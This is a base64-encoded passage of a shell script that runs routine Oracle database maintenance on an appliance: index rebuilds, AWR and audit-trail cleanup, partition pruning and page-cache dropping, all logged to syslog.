W5kZXggaW4gKHNlbGVjdCBkaXN0aW5jdChpbmRleF9uYW1lKSBmcm9tIHVzZXJfaW5kX2NvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT1jX3JlYy5zZWdtZW50X25hbWUpCiAgICAgICAgbG9vcAogICAgICAgICAgICAgICAgLS0gR2V0dGluZyBzaXplIG9mIEluZGV4LgogICAgICAgICAgICAgICAgYmVnaW4KICAgICAgICAgICAgICAgICAgICBzZWxlY3QgKiBpbnRvIGluZF9pbmRleF9zdG9yZSBmcm9tIChzZWxlY3QgUk9VTkQoc3VtKGJ5dGVzLygxMDI0KjEwMjQqMTAyNCkpLDIpIEdCICwgc2VnbWVudF9uYW1lIGZyb20gdXNlcl9zZWdtZW50cyB3aGVyZSB0YWJsZXNwYWNlX25hbWUgPSAnTU5UTlMnIGFuZCBzZWdtZW50X3R5cGUgaW4gKCdJTkRFWCBQQVJUSVRJT04nLCAnSU5ERVgnKSBhbmQgc2VnbWVudF9uYW1lPSBjX3JlY19pbmRleC5pbmRleF9uYW1lIGdyb3VwIGJ5IHNlZ21lbnRfbmFtZSxzZWdtZW50X3R5cGUpOwogICAgICAgICAgICAgICAgICAgIGlmIChpbmRfaW5kZXhfc3RvcmUuZ2IgPiBpbmRleF90aHJlc2hob2xkX3ZhbCBhbmQgaW5kX2luZGV4X3N0b3JlLmdiID4gY19yZWMudGFibGVfc2l6ZSkKICAgICAgICAgICAgICAgICAgICB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gdGVtcF9sYXJnZV9pbmRleCB2YWx1ZXMgKCd8fCBpbmRfaW5kZXhfc3RvcmUuZ2IgfHwnLCAnJyd8fCBpbmRfaW5kZXhfc3RvcmUuc2VnbWVudF9uYW1lIHx8JycnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QLCAnJ2JlZm9yZV9pbmRleF9yZWJ1aWxkaW5nJycsICcnSW5kZXggTmFtZSA6ICd8fCBpbmRfaW5kZXhfc3RvcmUuc2VnbWVudF9uYW1lIHx8ICcgSW5kZXggU2l6ZSA6ICcgfHwgaW5kX2luZGV4X3N0b3JlLmdiIHx8ICcgVGFibGUgTmFtZSA6ICcgfHwgY19yZWMuc2VnbWVudF9uYW1lIHx8ICcgVGFibGUgU2l6ZSA6ICcgfHwgY19yZWMudGFibGVfc2l6ZSB8fCAnICcnKSc7CiAgICAgICAgICAgICAgICAgICAgZW5kIGlmOwogICAgICAgICAgICAgICAgZXhjZXB0aW9uCiAgICAgICAgICAgICAgICAgICAgd2hlbiBvdGhlcnMgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZSBpbW1lZGlhdGUgJ2luc2VydCBpbnRvIGRiX2xvZyB2YWx1ZXMgKFNZU1RJTUVTVEFNUCwgJydiZWZvcmVfaW5kZXhfcmVidWlsZGluZycnLCcnRXJyb3IgcmV0cmlldmluZyBzaXplIGZvciBpbmRleCA6ICcgfHwgY19yZWNfaW5kZXguaW5kZXhfbmFtZSB8fCAnICcnKSc7CiAgICAgICAgICAgICAgICBlbmQ7CgogICAgICAgIGVuZCBsb29wOwogICAgZW5kIGxvb3A7CgpleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwplbmQ7Ci8KZXhpdDsKRU9GCgogIHN1IC0gb3JhY2xlIC1jICJzcWxwbHVzIC9AbW50MTAgQC90bXAvaW5kZXhjb2xsZWN0LnNxbCIgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKICBlY2hvICJGaW5pc2hlZCBjaGVja2luZyBmb3IgbGFyZ2UgaW5kZXhlcyIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCiAgaW5kZXhDb3VudD1gZWNobyAtZSAiIHNldCBwYWdlc2l6ZSAwOyBcbnNldCBoZWFkIG9mZiA7IFxuICBzZXQgdHJpbXNwb29sIG9uIGZlZWRiYWNrIG9mZjsgXG4gc2VsZWN0IGNvdW50KCopIGZyb20gdGVtcF9sYXJnZV9pbmRleDsgIiB8IHN1IC0gb3JhY2xlIC1jICJzcWxwbHVzIC1TIC9AbW50MTAiYAogIGVjaG8gIk51bWJlciBvZiBsYXJnZSBpbmRleCA6ICRpbmRleENvdW50IiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKICBpZiBbICRpbmRleENvdW50IC1ndCAwIF07IHRoZW4KICAgIGVjaG8gIkZvdW5kIGxhcmdlIGluZGV4ZXMuIiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKCgpjYXQgPiAvdG1wL3JlYnVpbGRpbmRleC5zcWwgPDwgRU9GCgpkZWNsYXJlCm5ld19pbmRleF9zaXplIGZsb2F0OwpzdGFydF90aW1lIFRJTUVTVEFNUDsKZW5kX3RpbWUgVElNRVNUQU1QOwpiZWdpbgoKICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdpbnNlcnQgaW50byBkYl9sb2cgdmFsdWVzIChTWVNUSU1FU1RBTVAsJydpbmRleF9yZWJ1aWxkaW5nJycsJydTdGFydGluZyByZWJ1aWxkIEluZGV4JycpJzsKCiAgICBzdGFydF90aW1lOj0gc3lzdGltZXN0YW1wOwoKICAgIGZvciBjX3JlYyBpbiAoc2VsZWN0IGdiICwgaW5kZXhfbmFtZSBmcm9tIHRlbXBfbGFyZ2VfaW5kZXggKQogICAgbG9vcAogICAgICAgIGJlZ2luCiAgICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdBTFRFUiBJTkRFWCBtbnQuJyB8fCBjX3JlYy5pbmRleF9uYW1lIHx8ICcgUkVCVUlMRCAgcGFyYWxsZWwgb25saW5lJzsKICAgICAgICAgICAgZXhlY3V0ZSBpbW1lZGlhdGUnIGluc2VydCBpbnRvIGRiX2xvZyB2YWx1ZXMgKFNZU1RJTUVTVEFNUCAsJydpbmRleF9yZWJ1aWxkaW5nJycgLCcnUmVidWlsZGluZyBpbmRleCBjb21wbGV0ZWQgZm9yICcgfHwgY19yZWMuaW5kZXhfbmFtZSB8fCAnICcnICknOwogICAgICAgIGV4Y2VwdGlvbgogICAgICAgICAgICB3aGVuIG90aGVycyB0aGVuCiAgICAgICAgICAgICAgICBiZWdpbgogICAgICAgICAgICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdBTFRFUiBJTkRFWCBtbnQuJyB8fCBjX3JlYy5pbmRleF9uYW1lIHx8ICcgUkVCVUlMRCc7CiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZSBpbW1lZGlhdGUgJyBpbnNlcnQgaW50byBkYl9sb2cgdmFsdWVzIChTWVNUSU1FU1RBTVAgLCcnaW5kZXhfcmVidWlsZGluZycnLCcnUmVidWlsZGluZyBpbmRleCBjb21wbGV0ZWQgZm9yICcgfHwgY19yZWMuaW5kZXhfbmFtZSB8fCAnIG9mZmxpbmUgbm9uLXBhcmFsbGVsJycpJzsKICAgICAgICAgICAgICAgIGV4Y2VwdGlvbgogICAgICAgICAgICAgICAgICAgIHdoZW4gb3RoZXJzIHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgLS0gSW5kZXggaXMgdmVyeSBsaWtleSBhIHBhcnRpb25lZCBpbmRleCBhbmQgY2Fubm90IGJlIGJ1aWx0IGFzIGEgd2hvbGUuCiAgICAgICAgICAgICAgICAgICAgICAgIGJlZ2luCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgcF9yZWMgaW4gKHNlbGVjdCBwYXJ0aXRpb25fbmFtZSBmcm9tIHVzZXJfaW5kX3BhcnRpdGlvbnMgd2hlcmUgaW5kZXhfbmFtZSA9IGNfcmVjLmluZGV4X25hbWUgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9vcAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdhbHRlciBpbmRleCBtbnQuJyB8fCBjX3JlYy5pbmRleF9uYW1lIHx8ICcgcmVidWlsZCBwYXJ0aXRpb24gJyB8fCBwX3JlYy5wYXJ0aXRpb25fbmFtZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZCBsb29wOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZSBpbW1lZGlhdGUgJ2luc2VydCBpbnRvIGRiX2xvZyB2YWx1ZXMgKFNZU1RJTUVTVEFNUCwnJ2luZGV4X3JlYnVpbGRpbicnLCcnUmVidWlsZGluZyBpbmRleCBjb21wbGV0ZWQgZm9yIHBhcnRpdGlvbmVkIGluZGV4ICcgfHwgY19yZWMuaW5kZXhfbmFtZSB8fCAnICcnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hlbiBvdGhlcnMgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICcgaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QLCcnaW5kZXhfcmVidWlsZGluJycsJydFcnJvciBSZWJ1aWxkaW5nIGluZGV4ICcgfHwgY19yZWMuaW5kZXhfbmFtZSB8fCAnICcnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGVuZDsKICAgICAgICAgICAgICAgIGVuZDsKICAgICAgICBlbmQ7CiAgICAgICAgYmVnaW4KICAgICAgICAgICAgREJNU19TVEFUUy5HQVRIRVJfSU5ERVhfU1RBVFMoJ21udCcsIGNfcmVjLmluZGV4X25hbWUpOwogICAgICAgICAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QLCcnaW5kZXhfZ2F0aGVyX3N0YXRzJycsJydHYXRoZXJlZCBzdGF0cyBzdWNjZXNmdWxseSBmb3IgaW5kZXggOicgfHwgY19yZWMuaW5kZXhfbmFtZSB8fCAnICcnKSc7CiAgICAgICAgZXhjZXB0aW9uCiAgICAgICAgICAgIHdoZW4gb3RoZXJzIHRoZW4KICAgICAgICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdpbnNlcnQgaW50byBkYl9sb2cgdmFsdWVzIChTWVNUSU1FU1RBTVAsJydpbmRleF9nYXRoZXJfc3RhdHMnJywnJ1VuYWJsZSB0byBnYXRoZXIgc3RhdHMgZm9yIGluZGV4IDonIHx8IGNfcmVjLmluZGV4X25hbWUgfHwgJyAnJyknOwogICAgICAgIGVuZDsKICAgIGVuZCBsb29wOwogICAgZW5kX3RpbWU6PXN5c3RpbWVzdGFtcDsKCiAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QICwnJ2luZGV4X3JlYnVpbGRpbmcnJywnJ1RpbWUgVGFrZW4gdG8gcmVidWlsZCBpbmRleCA6ICcgfHwgdG9fY2hhcihlbmRfdGltZS1zdGFydF90aW1lKSB8fCAnICcnKSc7CiAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QLCcnaW5kZXhfcmVidWlsZGluZycnLCcnQ29tcGxldGVkIHJlYnVpbGQgSW5kZXgnJyknOwoKICAgIGZvciBjX3JlY19pbmRleCBpbiAoc2VsZWN0IGdiICwgaW5kZXhfbmFtZSBmcm9tIHRlbXBfbGFyZ2VfaW5kZXgpCiAgICBsb29wCiAgICAgICAgZXhlY3V0ZSBpbW1lZGlhdGUgJ3NlbGVjdCBST1VORChzdW0oYnl0ZXMvKDEwMjQqMTAyNCoxMDI0KSksMikgR0IgZnJvbSB1c2VyX3NlZ21lbnRzIHdoZXJlIHRhYmxlc3BhY2VfbmFtZSA9ICcnTU5UTlMnJyBhbmQgc2VnbWVudF90eXBlIGluICgnJ0lOREVYIFBBUlRJVElPTicnLCAnJ0lOREVYJycpIGFuZCBzZWdtZW50X25hbWUgPSAnIHx8ICcnJycgfHwgY19yZWNfaW5kZXguaW5kZXhfbmFtZSB8fCAnJycnIHx8ICcgZ3JvdXAgYnkgc2VnbWVudF9uYW1lLHNlZ21lbnRfdHlwZScgaW50byBuZXdfaW5kZXhfc2l6ZTsKICAgICAgICBleGVjdXRlIGltbWVkaWF0ZSAnaW5zZXJ0IGludG8gZGJfbG9nIHZhbHVlcyAoU1lTVElNRVNUQU1QLCcnYWZ0ZXJfaW5kZXhfcmVidWlsZGluZycnLCcnSW5kZXggTmFtZSA6ICcgfHwgY19yZWNfaW5kZXguaW5kZXhfbmFtZSB8fCAnICBJbmRleCBTaXplIDogJyB8fCBuZXdfaW5kZXhfc2l6ZSB8fCAnICcnKSc7CiAgICBlbmQgbG9vcDsKCmV4Y2VwdGlvbiB3aGVuIG90aGVycyB0aGVuIG51bGw7CmVuZDsKLwpleGl0OwpFT0YKCiAgICAgIHRpbWVvdXQgOTAwIHN1IC0gb3JhY2xlIC1jICJzcWxwbHVzIC9AbW50MTAgQC90bXAvcmVidWlsZGluZGV4LnNxbCIgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKICAgICAgZWNobyAiU3RvcHBpbmcgcmVidWlsZCBtbnQgbGFyZ2UgaW5kZXgiIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgICAgIHJtIC1mIC90bXAvcmVidWlsZGluZGV4LnNxbAogIGVsc2UKICAgIGVjaG8gIkxhcmdlIGluZGV4ZXMgbm90IGZvdW5kLiIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICBmaQoKY2F0ID4gL3RtcC9kZWxldGV0ZW1wLnNxbCA8PCBFT0YKYmVnaW4KICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdkcm9wIHRhYmxlIHRlbXBfbGFyZ2VfaW5kZXgnOwpleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwplbmQ7Ci8KZXhpdDsKRU9GCgplY2hvICJEZWxldGluZyB0ZW1wb3JhcnkgdGFibGUgZm9yIGxhcmdlIGluZGV4ZXgiIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCnN1IC0gb3JhY2xlIC1jICJzcWxwbHVzIC9AbW50MTAgQC90bXAvZGVsZXRldGVtcC5zcWwiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCmVjaG8gIkV4aXRpbmcgdGhlIGluZGV4IHJlYnVpbGQgc2NyaXB0IiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKcm0gLWYgL3RtcC9pbmRleGNvbGxlY3Quc3FsCnJtIC1mIC90bXAvZGVsZXRldGVtcC5zcWwKCgoKCmNhdCA+IC90bXAvd2Vla2x5U2NoZC5zcWwgPDwgRU9GCiAgIAogICAgQkVHSU4KICAgIEZPUiBJIElOICggIHNlbGVjdCB0YWJsZV9uYW1lLHBhcnRpdGlvbl9uYW1lIGZyb20gdXNlcl90YWJfcGFydGl0aW9ucyB3aGVyZSB0YWJsZV9uYW1lID0gJ0VERl9EQl9MT0cnIGFuZCBwYXJ0aXRpb25fbmFtZSE9J1AxJwogICAgYW5kIEdFVF9ISUdIX1ZBTFVFX0FTX0RBVEUodGFibGVfbmFtZSxwYXJ0aXRpb25fbmFtZSkgPHN5c2RhdGUtMTAgKQogICAgTE9PUAogICAgRVhFQ1VURSBJTU1FRElBVEUKICAgICAgICAgICAgICAgKCAgICdhbHRlciB0YWJsZSAnCiAgICAgICAgICAgICAgICB8fCBpLnRhYmxlX25hbWUKICAgICAgICAgICAgICAgIHx8ICcgZHJvcCBwYXJ0aXRpb24gJwogICAgICAgICAgICAgICAgfHwgaS5wYXJ0aXRpb25fbmFtZSk7CgogICAgRU5EIExPT1A7CiAgICBjb21taXQ7CiAgICBleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwogICAgRU5EOwogIC8KIGV4aXQ7CkVPRgoKZWNobyAiU3VuZGF5IGNvbmZpZyBTY2hlZHVsZWQgam9iIiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwp0aW1lb3V0IDEyMCBzdSAtIG9yYWNsZSAtYyAic3FscGx1cyAvQGNwbTEwIEAvdG1wL3dlZWtseVNjaGQuc3FsIiAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCgpmaQoKaWYgWyAiJFdFRUtEQVkgIiA9PSAiU2F0ICIgXSAmJiBbICIkV0VFS0hSICIgPT0gIjA1ICIgXSA7IHRoZW4KaW5kZXhfY29ycnVwdF9maXggfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KZmkKCmlmIFsgIiRXRUVLREFZICIgPT0gIlN1biAiIF0gJiYgWyAiJFdFRUtIUiAiID09ICIwNSAiIF0gOyB0aGVuCmNsZWFudXB1bmRvdGFibGVzcGFjZSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwpjZXBtU3RhdHNHYXRoZXIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KZmkKCnJtIC1mIC90bXAvd2Vla2x5U2NoZC5zcWwgL3RtcC9jZXBtU3RhdHNHYXRoZXIuc3FsCn0KCmNsZWFyYXdyKCkKewpXRUVLREFZPWBkYXRlICslYWAKV0VFS0hSPWBkYXRlICslSGAKY2F0ID4gL3RtcC9jbGVhcl9hd3Iuc3FsIDw8IEVPRgpjb25uIC9Ac3lzdGVtMTAgYXMgc3lzZGJhOwoKZXhlYyBEQk1TX1NUQVRTLlBVUkdFX1NUQVRTKFNZU0RBVEUtMSk7CmV4ZWMgZGJtc19zdGF0cy5hbHRlcl9zdGF0c19oaXN0b3J5X3JldGVudGlvbigzKTsKICAgIGRlZmluZSByZXBvcnRfbmFtZT0gJ3Rlc3QnOwogICBzZXQgc2VydmVyb3V0IG9uOwogICAgCiAgICBkZWNsYXJlCiAgICB2X3NuYXBiZWdpbiBudW1iZXI7CiAgICB2X3NuYXBlbmQgbnVtYmVyOwogICAgdl9kYmlkIG51bWJlcjsKICAgIHNhdXhzaXplIG51bWJlcjsKICAgIGJlZ2luCiAgICAKICAgc2VsZWN0ICBtaW4oc25hcF9pZCksbWF4KHNuYXBfaWQpLG1pbihkYmlkKSBpbnRvICB2X3NuYXBiZWdpbix2X3NuYXBlbmQsdl9kYmlkIGZyb20gZGJhX2hpc3Rfc25hcHNob3QgIHdoZXJlIHNuYXBfaWQ8ICgKc2VsZWN0IG1pbihzbmFwX2lkKSBmcm9tIChzZWxlY3QgKiBmcm9tIGRiYV9oaXN0X3NuYXBzaG90IG9yZGVyIGJ5IDEgZGVzYykgd2hlcmUgcm93bnVtPD0xNjgpIDsKCgogICAgICBpZiB2X3NuYXBiZWdpbiBpcyBub3QgbnVsbCBhbmQgdl9zbmFwZW5kIGlzIG5vdCBudWxsIHRoZW4KICAgIGRibXNfb3V0cHV0LnB1dF9saW5lKCcgU05BUF9JRCAnfHx2X3NuYXBiZWdpbnx8JyAtICd8fHZfc25hcGVuZHx8JyBhbmQgREJJRCAnfHx2X2RiaWQgKTsKICAgIERCTVNfV09SS0xPQURfUkVQT1NJVE9SWS5EUk9QX1NOQVBTSE9UX1JBTkdFKCB2X3NuYXBiZWdpbix2X3NuYXBlbmQsdl9kYmlkKTsKICAgIGVuZCBpZjsKICAgIAogIAoKICAgIGVuZDsKICAgIC8KCiBjb21taXQ7ICAKIAogZGVjbGFyZQp2X2NvdW50IGludGVnZXI7CmJlZ2luCiAKU0VMRUNUIGNvdW50KDEpIGludG8gdl9jb3VudApGUk9NIHdyaFwkX2FjdGl2ZV9zZXNzaW9uX2hpc3RvcnkgYQpXSEVSRSBOT1QgRVhJU1RTCihTRUxFQ1QgMQpGUk9NIHdybVwkX3NuYXBzaG90CldIRVJFIHNuYXBfaWQgPSBhLnNuYXBfaWQKQU5EIGRiaWQgPSBhLmRiaWQKQU5EIGluc3RhbmNlX251bWJlciA9IGEuaW5zdGFuY2VfbnVtYmVyCilhbmQgcm93bnVtIDw9MTAwOwogCndoaWxlIHZfY291bnQgIT0gMCBsb29wCiAKREVMRVRFCkZST00gd3JoXCRfYWN0aXZlX3Nlc3Npb25faGlzdG9yeSBhCldIRVJFIE5PVCBFWElTVFMKKFNFTEVDVCAxCkZST00gd3JtXCRfc25hcHNob3QKV0hFUkUgc25hcF9pZCA9IGEuc25hcF9pZApBTkQgZGJpZCA9IGEuZGJpZApBTkQgaW5zdGFuY2VfbnVtYmVyID0gYS5pbnN0YW5jZV9udW1iZXIKKSBhbmQgcm93bnVtIDw9MTAwMDAwMDsKIApjb21taXQ7CiAKU0VMRUNUIGNvdW50KDEpIGludG8gdl9jb3VudApGUk9NIHdyaFwkX2FjdGl2ZV9zZXNzaW9uX2hpc3RvcnkgYQpXSEVSRSBOT1QgRVhJU1RTCihTRUxFQ1QgMQpGUk9NIHdybVwkX3NuYXBzaG90CldIRVJFIHNuYXBfaWQgPSBhLnNuYXBfaWQKQU5EIGRiaWQgPSBhLmRiaWQKQU5EIGluc3RhbmNlX251bWJlciA9IGEuaW5zdGFuY2VfbnVtYmVyCilhbmQgcm93bnVtIDw9MTAwOwogCmVuZCBsb29wOwogCmVuZDsKLwoKCmRlY2xhcmUKYXVkc2l6ZSBudW1iZXI7CmJlZ2luClNFTEVDVCAgc3VtKGJ5dGVzIC8gMTAyNCAvIDEwMjQpICBpbnRvIGF1ZHNpemUgRlJPTSBkYmFfc2VnbWVudHMgV0hFUkUgdGFibGVzcGFjZV9uYW1lID0gJ1NZU0FVWCcgYW5kIHNlZ21lbnRfbmFtZSBsaWtlICclQVVEJScgOwppZiBhdWRzaXplPjEwMDAgdGhlbgoKQkVHSU4KREJNU19BVURJVF9NR01ULmluaXRfY2xlYW51cCggYXVkaXRfdHJhaWxfdHlwZSA9PiBEQk1TX0FVRElUX01HTVQuQVVESVRfVFJBSUxfQUxMLCBkZWZhdWx0X2NsZWFudXBfaW50ZXJ2YWwgPT4gMTIgLyogaG91cnMgKi8pOwpleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwpFTkQ7IAoKCkJFR0lOCiAgSUYgREJNU19BVURJVF9NR01ULmlzX2NsZWFudXBfaW5pdGlhbGl6ZWQoREJNU19BVURJVF9NR01ULkFVRElUX1RSQUlMX0FVRF9TVEQpIFRIRU4KICAgIERCTVNfT1VUUFVULnB1dF9saW5lKCdBdWRpdCB0cmFpbCBjbGVhbnVwIGluaXRpYXRlZCcpOwogIEVMU0UKICAgIERCTVNfT1VUUFVULnB1dF9saW5lKCdDbGVhbnVwIG5vdCBpbml0aWF0ZWQnKTsKICBFTkQgSUY7CkVORDsKCkJFR0lOCkRCTVNfQVVESVRfTUdNVC5jbGVhbl9hdWRpdF90cmFpbCgKYXVkaXRfdHJhaWxfdHlwZSA9PiBEQk1TX0FVRElUX01HTVQuQVVESVRfVFJBSUxfQVVEX1NURCwKdXNlX2xhc3RfYXJjaF90aW1lc3RhbXAgPT4gRkFMU0UpOwpFTkQ7CgpleGVjdXRlIGltbWVkaWF0ZSAnIHRydW5jYXRlIHRhYmxlIHN5cy5hdWQkJyA7CmVuZCBpZjsKZW5kOwovIAogCmFsdGVyIHRhYmxlIFdSSFwkX0FDVElWRV9TRVNTSU9OX0hJU1RPUlkgc2hyaW5rIHNwYWNlOwogIApwdXJnZSBkYmFfcmVjeWNsZWJpbjsKcHVyZ2UgcmVjeWNsZWJpbjsKCmV4aXQ7CkVPRgoKaWYgWyAiJFdFRUtIUiAiID09ICIwNSAiIF0gOyB0aGVuCmVjaG8gIlN5c2F1eCBkYWlseSBjbGVhciBTY2hlZHVsZWQgam9iIiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwp0aW1lb3V0IDMwMCBzdSAtIG9yYWNsZSAtYyAic3FscGx1cyAvQHN5c3RlbTEwIGFzIHN5c2RiYSBAL3RtcC9jbGVhcl9hd3Iuc3FsIiAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCmZpCgpjYXQgPiAvdG1wL2NsZWFyX2F3cjIuc3FsIDw8IEVPRgpjb25uIC9Ac3lzdGVtMTAgYXMgc3lzZGJhOwpkZWNsYXJlCnVzZWRzcGFjZSBwbHNfaW50ZWdlcjsKYmVnaW4KU0VMRUNUICAoZGYudG90YWxfc3BhY2VfbWIgLSBmcy5mcmVlX3NwYWNlX21iKSBpbnRvIHVzZWRzcGFjZSBGUk9NIChTRUxFQ1QgdGFibGVzcGFjZV9uYW1lLCAgUk9VTkQoU1VNKGJ5dGVzKSAvIDEwNDg1NzYpIFRPVEFMX1NQQUNFX01CCkZST00gZGJhX2RhdGFfZmlsZXMgd2hlcmUgdGFibGVzcGFjZV9uYW1lPSdTWVNBVVgnICAgR1JPVVAgQlkgdGFibGVzcGFjZV9uYW1lKSBkZiwoU0VMRUNUIHRhYmxlc3BhY2VfbmFtZSwgUk9VTkQoU1VNKGJ5dGVzKSAvIDEwNDg1NzYpIEZSRUVfU1BBQ0VfTUIKRlJPTSBkYmFfZnJlZV9zcGFjZSB3aGVyZSB0YWJsZXNwYWNlX25hbWU9J1NZU0FVWCcgICBHUk9VUCBCWSB0YWJsZXNwYWNlX25hbWUpIGZzIFdIRVJFIGRmLnRhYmxlc3BhY2VfbmFtZSA9IGZzLnRhYmxlc3BhY2VfbmFtZSgrKSBhbmQgZGYudGFibGVzcGFjZV9uYW1lPSdTWVNBVVgnIDsKaWYgdXNlZHNwYWNlPjMwMDAgdGhlbgpwdXJnZV9zeXNhdXg7CmVuZCBpZjsKZW5kOwovCgpleGl0OwpFT0YKCmlmIFsgIiRXRUVLREFZICIgPT0gIlN1biAiIF0gJiYgWyAiJFdFRUtIUiAiID09ICIwNSAiIF0gOyB0aGVuCmVjaG8gIlN5c2F1eCB3ZWVrbHkgY2xlYXIgU2NoZWR1bGVkIGpvYiIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KdGltZW91dCA2MDAgc3UgLSBvcmFjbGUgLWMgInNxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgQC90bXAvY2xlYXJfYXdyMi5zcWwiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KY2VwbVN0YXRzR2F0aGVyCmZpCgp9CgojZHJvcCBwYWdlIGNhY2hlIG9uIDg1JSBtZW1vcnkgaXMgZnVsbApjaGVja19hbmRfZHJvcF9jYWNoZSgpCnsKICAgIGRyb3BfY2FjaGVfdHJpZ2dlcl9wZXJjZW50PTE1LjAwCiAgICBJRlM9IiAiCiAgICByZWFkIG5vZGF0YSByYW1fdG90YWwgcmFtX3VzZWQgcmFtX2ZyZWUgcmFtX3NoYXJlZCByYW1fYnVmZmVyc19jYWNoZSByYW1fYXZhaWxhYmxlICA8PDwgJChmcmVlIHwgZ3JlcCBeTWVtKQogICAgcmF0aW89YGVjaG8gInNjYWxlPTI7ICRyYW1fYXZhaWxhYmxlKjEwMC8kcmFtX3RvdGFsIiB8IGJjYAogICAgbG9nIDMgIlRoZSBBdmFpbGJsZSBNZW1vcnkgcmF0aW8gJHJhdGlvIgogICAgaWYgWyAxIC1lcSAiJChlY2hvICIke3JhdGlvfSA8ICR7ZHJvcF9jYWNoZV90cmlnZ2VyX3BlcmNlbnR9IiB8IGJjKSIgXTsKICAgIHRoZW4KICAgICAgICBsb2cgMyAiQXZhaWxhYmxlIE1lbW9yeTokcmF0aW8lIFRyaWdnZXI6UnVubmluZyBDb21tYW5kIHN5bmM7IGVjaG8gMSA+IC9wcm9jL3N5cy92bS9kcm9wX2NhY2hlcyIKICAgICAgICBzeW5jOyBlY2hvIDEgPiAvcHJvYy9zeXMvdm0vZHJvcF9jYWNoZXMKICAgIGVsc2UKICAgICAgICBsb2cgMyAiTm8gdHJpZ2dlciBkcm9wX2NhY2hlIGFzIEF2YWlsYWJsZSBNZW1vcnkgJHJhdGlvJSIKICAgIGZpCn0KCiNNb25pdCBhbGwgY29uZmQgc2VydmljZXMKbW9uaXRfY29uZmQoKQp7CiAgc291cmNlIC9vcHQvY29uZmQtaW5zdGFsbC9jb25mZHJjCiAgL29wdC9zeXN0ZW0vZXRjL2lzZS1jb25maWcvY29uZmRfbW9uaXRfam9iLnB5Cn0KCiNFbGFzdGljIHNlYXJjaCBob3VybHkgam9iCmVzX2hvdXJseV9qb2IoKQp7CiAgZWNobyAiSW5pdGlhdGluZyAgRWxhc3RpYyBTZWFyY2ggSG91cmx5IEpvYiIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAvb3B0L0NTQ09jcG0vYmluL2VzLWhvdXJseS11cGRhdGUuc2ggfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICBlY2hvICJDb21wbGV0ZWQgRWxhc3RpYyBTZWFyY2ggSG91cmx5IEpvYiIgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KfQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgTUFJTgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKClBST0dfTkFNRT1gYmFzZW5hbWUgJDBgCkxPR19DQVRFR09SWT0iYXBwbGljYXRpb246b3BlcmF0aW9uOiRQUk9HX05BTUUiCkFHR1JFU1NJVkVfQ0xFQU5VUF9SRVFVSVJFRD0wCgojIHZlcmlmeSB